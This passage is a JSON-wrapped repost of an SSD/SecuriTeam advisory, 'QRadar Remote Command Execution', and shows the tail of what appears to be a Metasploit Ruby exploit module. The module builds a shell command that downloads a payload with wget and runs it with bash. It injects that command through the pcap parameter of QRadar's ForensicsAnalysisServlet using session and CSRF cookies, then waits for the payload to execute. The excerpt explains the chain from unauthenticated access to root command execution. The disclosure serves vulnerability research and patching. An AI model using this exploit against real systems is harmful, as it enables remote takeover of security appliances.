class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-200\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-201\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">exec_cmd<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;$(mkdir -p \/store\/configservices\/staging\/updates &amp;&amp; wget &#8211;no-check-certificate -O &#8220;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-202\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;\/store\/configservices\/staging\/updates\/#{@payload_name} #{service_uri} &amp;&amp; &#8220;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-203\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;\/bin\/bash \/store\/configservices\/staging\/updates\/#{@payload_name})&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-204\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-205\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">payload_step2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;pcap[0][pcap]&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-206\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;=\/#{rand_text_alpha_lower(rand(6) + 2) + &#8216;\/&#8217; + rand_text_alpha_lower(rand(6) + 2)}&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-207\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;&amp;pcap[1][pcap]=#{Rex::Text::uri_encode(exec_cmd, &#8216;hex-all&#8217;)}&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-208\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-209\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">uri_step2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;\/ForensicsAnalysisServlet\/?forensicsManagedHostIps&#8221;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-210\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8220;=127.0.0.1\/forensics\/file.php%3f%26&amp;action=get&amp;slavefile=true&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-211\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-212\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-v\">res<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">send_request_cgi<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-213\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;uri&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">uri_step2<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;&amp;&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">payload_step2<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-214\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;method&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;GET&#8217;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-215\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-s\">&#8216;cookie&#8217;<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};&#8221;<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-216\"><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-217\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-218\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># now we just sit back and wait for step 2 payload to be downloaded and executed<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-219\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-p\"># &#8230; and then step 3 to complete. Let&#8217;s give it a little more than a minute.<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-220\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-i\">sleep<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">80<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b0c805d4c514733524048-221\"><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-st\">end<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b0c805d4c514733524048-222\"><span class=\"crayon-st\">end<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0202 seconds] -->  <\/p>\n<div class=\"printfriendly pf-alignleft\"><a href=\"#\" rel=\"nofollow\" onclick=\"window.print(); return false;\" class=\"noslimstat\" title=\"Printer Friendly, PDF &#038; Email\"><img decoding=\"async\" style=\"border:none;-webkit-box-shadow:none; box-shadow:none;\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\" alt=\"Print Friendly, PDF &#038; Email\" \/><\/a><\/div>\n<\/div><\/div>\n<p><a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3689\" target=\"bwo\" >https:\/\/blogs.securiteam.com\/index.php\/feed<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p><img decoding=\"async\" src=\"https:\/\/cdn.printfriendly.com\/buttons\/printfriendly-button.png\"\/><\/p>\n<p><strong>Credit to Author: SSD \/ Noam Rathaus| Date: Mon, 28 May 2018 10:53:15 +0000<\/strong><\/p>\n<p>Vulnerability Summary Multiple vulnerabilities in QRadar allow a remote unauthenticated attackers to cause the product to execute arbitrary commands. Each vulnerability on its own is not as strong as their chaining &#8211; which allows a user to change from unauthenticated to authenticated access, to running commands, and finally running these commands with root privileges. Vendor &#8230; <a href=\"https:\/\/blogs.securiteam.com\/index.php\/archives\/3689\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">SSD Advisory &#8211; QRadar Remote Command Execution<\/span><\/a><\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"colormag_page_container_layout":"default_layout","colormag_page_sidebar_layout":"default_layout","footnotes":""},"categories":[10643,10754],"tags":[11851,10757,12136],"class_list":["post-12413","post","type-post","status-publish","format-standard","hentry","category-independent","category-securiteam","tag-remote-command-execution","tag-securiteam-secure-disclosure","tag-unauthenticated-action"],"_links":{"self":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/12413","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/comments?post=12413"}],"version-history":[{"count":0,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/posts\/12413\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/media?parent=12413"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/categories?post=12413"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.palada.net\/index.php\/wp-json\/wp\/v2\/tags?post=12413"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}